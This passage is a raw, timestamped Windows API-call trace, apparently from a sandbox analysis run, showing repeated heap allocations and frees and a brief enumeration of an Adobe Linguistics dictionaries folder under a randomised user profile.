Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.176] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.177] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.178] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.179] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.179] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32600c8 [0069.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a30b0 [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.180] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0069.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a30b0 | out: hHeap=0x5d0000) returned 1 [0069.180] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0069.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0069.180] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.180] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0069.180] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32600c8 | out: hHeap=0x5d0000) returned 1 [0069.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32600c8 [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0069.180] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.180] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32600c8 | out: hHeap=0x5d0000) returned 1 [0069.180] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.180] PathFindFileNameW (pszPath="") returned="" [0069.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.180] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.181] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.181] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0069.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0069.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee680 | out: hHeap=0x5d0000) returned 1 [0069.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8c58 [0069.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.181] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0069.181] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eddf8 | out: hHeap=0x5d0000) returned 1 [0069.182] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.182] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.183] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.183] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.184] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.184] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.184] HeapFree (in: 